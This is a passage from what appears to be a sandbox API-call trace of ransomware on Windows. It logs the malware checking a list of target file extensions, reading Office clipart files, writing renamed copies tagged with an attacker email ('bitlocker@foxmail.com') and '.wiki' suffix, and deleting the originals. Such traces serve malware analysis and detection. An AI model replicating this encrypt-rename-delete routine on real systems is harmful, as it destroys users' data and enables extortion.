returned 63 [0193.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0193.676] lstrlenW (lpString=".doc") returned 4 [0193.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.676] lstrlenW (lpString=".docx") returned 5 [0193.676] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0193.676] lstrlenW (lpString=".pdf") returned 4 [0193.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.676] lstrlenW (lpString=".xls") returned 4 [0193.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.677] lstrlenW (lpString=".xlsx") returned 5 [0193.677] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0193.677] lstrlenW (lpString=".ppt") returned 4 [0193.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0193.677] lstrlenW (lpString=".zip") returned 4 [0193.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.677] lstrlenW (lpString=".rar") returned 4 [0193.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.677] lstrlenW (lpString=".bz2") returned 4 [0193.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.677] lstrlenW (lpString=".7z") returned 3 [0193.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0193.677] lstrlenW (lpString=".dbf") returned 4 [0193.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0193.677] lstrlenW (lpString=".1cd") returned 4 [0193.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0193.677] lstrlenW (lpString=".jpg") returned 4 [0193.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.677] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.677] lstrlenW (lpString="J0105378.WMF") returned 12 [0193.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0193.678] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=4964) returned 1 [0193.678] CloseHandle (hObject=0x1cc) returned 1 [0193.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf")) returned 0x20 [0193.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0193.678] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.678] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0193.679] GetLastError () returned 0x0 [0193.679] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1364, lpOverlapped=0x0) returned 1 [0193.683] WriteFile (in: hFile=0x220, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0193.684] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.684] WriteFile (in: hFile=0x220, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.684] SetEndOfFile (hFile=0x220) returned 1 [0193.684] CloseHandle (hObject=0x220) returned 1 [0193.684] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.684] SetEndOfFile (hFile=0x1cc) returned 1 [0193.685] CloseHandle (hObject=0x1cc) returned 1 [0193.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf")) returned 1 [0193.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0193.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0193.685] lstrlenW (lpString=".doc") returned 4 [0193.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.686] lstrlenW (lpString=".docx") returned 5 [0193.686] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0193.686] lstrlenW (lpString=".pdf") returned 4 [0193.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.686] lstrlenW (lpString=".xls") returned 4 [0193.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.686] lstrlenW (lpString=".xlsx") returned 5 [0193.686] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0193.686] lstrlenW (lpString=".ppt") returned 4 [0193.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0193.686] lstrlenW (lpString=".zip") returned 4 [0193.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.686] lstrlenW (lpString=".rar") returned 4 [0193.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.686] lstrlenW (lpString=".bz2") returned 4 [0193.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.686] lstrlenW (lpString=".7z") returned 3 [0193.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0193.686] lstrlenW (lpString=".dbf") returned 4 [0193.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0193.686] lstrlenW (lpString=".1cd") returned 4 [0193.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0193.686] lstrlenW (lpString=".jpg") returned 4 [0193.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0193.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0193.686] lstrlenW (lpString=".doc") returned 4 [0193.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.687] lstrlenW (lpString=".docx") returned 5 [0193.687] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0193.687] lstrlenW (lpString=".pdf") returned 4 [0193.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.687] lstrlenW (lpString=".xls") returned 4 [0193.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.687] lstrlenW (lpString=".xlsx") returned 5 [0193.687] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0193.687] lstrlenW (lpString=".ppt") returned 4 [0193.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0193.687] lstrlenW (lpString=".zip") returned 4 [0193.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.687] lstrlenW (lpString=".rar") returned 4 [0193.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.687] lstrlenW (lpString=".bz2") returned 4 [0193.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.687] lstrlenW (lpString=".7z") returned 3 [0193.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0193.687] lstrlenW (lpString=".dbf") returned 4 [0193.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0193.687] lstrlenW (lpString=".1cd") returned 4 [0193.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63 [0193.687] lstrlenW (lpString=".jpg") returned 4 [0193.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.687] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.688] lstrlenW (lpString="J0105380.WMF") returned 12 [0193.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0193.688] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=4624) returned 1 [0193.688] CloseHandle (hObject=0x1cc) returned 1 [0193.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf")) returned 0x20 [0193.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0193.688] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.688] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0193.689] GetLastError () returned 0x0 [0193.689] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1210, lpOverlapped=0x0) returned 1 [0193.691] WriteFile (in: hFile=0x220, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1220, lpOverlapped=0x0) returned 1 [0193.692] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.692] WriteFile (in: hFile=0x220, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.692] SetEndOfFile (hFile=0x220) returned 1 [0193.692] CloseHandle (hObject=0x220) returned 1 [0193.692] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.692] SetEndOfFile (hFile=0x1cc) returned 1 [0193.693] CloseHandle (hObject=0x1cc) returned 1 [0193.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf")) returned 1 [0193.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0193.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0193.693] lstrlenW (lpString=".doc") returned 4 [0193.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.693] lstrlenW (lpString=".docx") returned 5 [0193.693] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0193.693] lstrlenW (lpString=".pdf") returned 4 [0193.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.693] lstrlenW (lpString=".xls") returned 4 [0193.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.693] lstrlenW (lpString=".xlsx") returned 5 [0193.693] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0193.693] lstrlenW (lpString=".ppt") returned 4 [0193.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0193.694] lstrlenW (lpString=".zip") returned 4 [0193.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.694] lstrlenW (lpString=".rar") returned 4 [0193.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.694] lstrlenW (lpString=".bz2") returned 4 [0193.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.694] lstrlenW (lpString=".7z") returned 3 [0193.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0193.694] lstrlenW (lpString=".dbf") returned 4 [0193.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0193.694] lstrlenW (lpString=".1cd") returned 4 [0193.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0193.694] lstrlenW (lpString=".jpg") returned 4 [0193.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0193.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0193.694] lstrlenW (lpString=".doc") returned 4 [0193.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.694] lstrlenW (lpString=".docx") returned 5 [0193.694] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0193.694] lstrlenW (lpString=".pdf") returned 4 [0193.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.694] lstrlenW (lpString=".xls") returned 4 [0193.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.694] lstrlenW (lpString=".xlsx") returned 5 [0193.695] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0193.695] lstrlenW (lpString=".ppt") returned 4 [0193.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0193.695] lstrlenW (lpString=".zip") returned 4 [0193.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.695] lstrlenW (lpString=".rar") returned 4 [0193.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.695] lstrlenW (lpString=".bz2") returned 4 [0193.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.695] lstrlenW (lpString=".7z") returned 3 [0193.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0193.695] lstrlenW (lpString=".dbf") returned 4 [0193.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0193.695] lstrlenW (lpString=".1cd") returned 4 [0193.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0193.695] lstrlenW (lpString=".jpg") returned 4 [0193.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.695] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.695] lstrlenW (lpString="J0105384.WMF") returned 12 [0193.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0193.696] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5880) returned 1 [0193.696] CloseHandle (hObject=0x1cc) returned 1 [0193.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf")) returned 0x20 [0193.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0193.696] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.696] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0193.697] GetLastError () returned 0x0 [0193.697] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x16f8, lpOverlapped=0x0) returned 1 [0193.698] WriteFile (in: hFile=0x220, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0193.700] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0193.700] WriteFile (in: hFile=0x220, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.700] SetEndOfFile (hFile=0x220) returned 1 [0193.700] CloseHandle (hObject=0x220) returned 1 [0193.700] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0193.700] SetEndOfFile (hFile=0x1cc) returned 1 [0193.701] CloseHandle (hObject=0x1cc) returned 1 [0193.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf")) returned 1 [0193.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0193.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0193.701] lstrlenW (lpString=".doc") returned 4 [0193.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.701] lstrlenW (lpString=".docx") returned 5 [0193.701] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0193.701] lstrlenW (lpString=".pdf") returned 4 [0193.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.701] lstrlenW (lpString=".xls") returned 4 [0193.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.701] lstrlenW (lpString=".xlsx") returned 5 [0193.701] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0193.701] lstrlenW (lpString=".ppt") returned 4 [0193.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0193.702] lstrlenW (lpString=".zip") returned 4 [0193.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.702] lstrlenW (lpString=".rar") returned 4 [0193.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.702] lstrlenW (lpString=".bz2") returned 4 [0193.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.702] lstrlenW (lpString=".7z") returned 3 [0193.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0193.702] lstrlenW (lpString=".dbf") returned 4 [0193.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0193.702] lstrlenW (lpString=".1cd") returned 4 [0193.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0193.702] lstrlenW (lpString=".jpg") returned 4 [0193.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0193.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63 [0193.702] lstrlenW (lpString=".doc") returned 4 [0193.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.702] lstrlenW (lpString=".docx") returned 5 [0193.702] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0193.702] lstrlenW (lpString=".pdf") returned 4 [0193.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.702] lstrlenW (lpString=".xls") returned 4 [0193.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.702] lstrlenW (lpString=".xlsx") returned 5 [0193.702] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0193.703] lstrlenW (lpString=".ppt") returned 4 [0193.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.703] 